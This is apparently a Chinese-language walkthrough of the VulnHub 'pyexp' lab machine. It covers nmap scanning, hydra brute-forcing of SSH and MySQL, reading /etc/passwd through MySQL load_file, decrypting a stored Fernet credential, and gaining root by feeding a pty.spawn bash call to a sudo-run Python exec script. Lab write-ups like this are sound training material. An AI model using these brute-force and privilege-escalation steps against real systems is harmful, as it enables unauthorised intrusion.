一、靶机介绍

靶机下载地址:

https://download.vulnhub.com/pyexp/pyexpvm.zip

导入到VMware

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • SSH密码爆破
  • Mysql密码爆破
  • Mysql执行代码
  • 编写解密代码
  • sudo权限漏洞
  • Python函数
  • 本地提取

二、主机发现

nmap -sS 192.168.43.1/24

发现目标靶机ip为192.168.43.148,其实靶机启动后在页面也有显示靶机ip地址

image-20240830135330637

三、端口扫描

nmap -p- 192.168.43.148
nmap -p1337,3306 -sV -sC 192.168.43.148

发现靶机1337和3306端口开放

1337开放的是ssh服务

3306还是默认的mysql

image-20240830135622252

发现这个靶机没有web端口,于是想着使用searchploit搜索一下对应的版本,看看有没有提权脚本

ssh没有找到

mysql找到一个dos的脚本对打靶机拿权限没啥用

image-20240830135724788

四、hydra爆破

将字典先复制解压到桌面上,便于一会指定字典

cp /usr/share/wordlists/rockyou.txt.gz .  # 将字典复制到桌面
gzip -d rockyou.txt.gz # 将字典解压出来

4.1、ssh爆破

hydra -l root -P rockyou.txt ssh://192.168.43.148:1337

跑了半个小时,我都通过mysql拿到另一个用户的shell了,他还没跑完,我果断终止了

image-20240830144408941

4.2、mysql爆破

hydra -l root -P rockyou.txt mysql://192.168.43.148:3306

root

prettywoman

这个稍等几分钟就跑出来密码了

image-20240830141939963

五、mysql远程登录

远程登录一下尝试,但是没想到root竟然能远程登录成功

mysql -u root -p -h 192.168.43.148
prettywoman

5.1、\!尝试执行命令

\!来尝试执行系统命令没有无法成功的,说明靶机进行了相关命令的防护

\! 

这里回显的内容都是我攻击机kali的内容

image-20240830142737334

5.2、load_file读取文件

尝试发现load_file这个函数能够执行成功

select load_file('/etc/passwd');

读取passwd函数

习惯从下往上看,发现lucy这个用户能够使用命令行登录,同时根据这个名字也不像是系统自带的名字,猜测是创建的用户

image-20240830143011057

尝试用户是否存在公私密钥,如果存在的话,通过复制密钥,直接登录用户,发现返回内容为空

select load_file('/home/lucy.ssh/id_rsa');

image-20240830143118407

5.3、信息收集

找不到其他有用信息了,尝试从数据库中查找有用信息

show databaes;
use data;
show tables;
select*from fernet;

发现两个字符串,列名为keyy,猜测是个密钥,前面应该是加密内容

image-20240830143238814

gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=

UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=

搜索了一下表名,发现是个表名对应的是一种对称加密,直接找了一个在线解密平台,直接解了出来

Fernet (Decode) (asecuritysite.com)

lucy:wJ9`”Lemdv9[FEw-

image-20240830144116965

六、ssh登录

ssh lucy@192.168.43.148 -p 1337
wJ9`"Lemdv9[FEw-

尝试ssh登录,指定一下端口

image-20240830144322228

七、python exec提权

通过suod查看是否存在sudo可以直接执行的程序

cat user.txt			# 获取flag
sudo -l

发现有个python脚本可以直接使用sudo权限执行

image-20240830144608158

sudo python2 /opt/exp.py
ls -al /opt/exp.py
cat /opt/exp.py

运行了一下,没搞懂,查看了一下权限,发现其他用户有读取的权限

查看一下脚本,发现是执行exec函数(会将传入的字符串按照python语句进行解析并执行)

image-20240830144727581

sudo python2 /opt/exp.py
import pty;pty.spawn('/bin/bash') #借用sudo权限开启一个命令行

提权成功

image-20240830145836520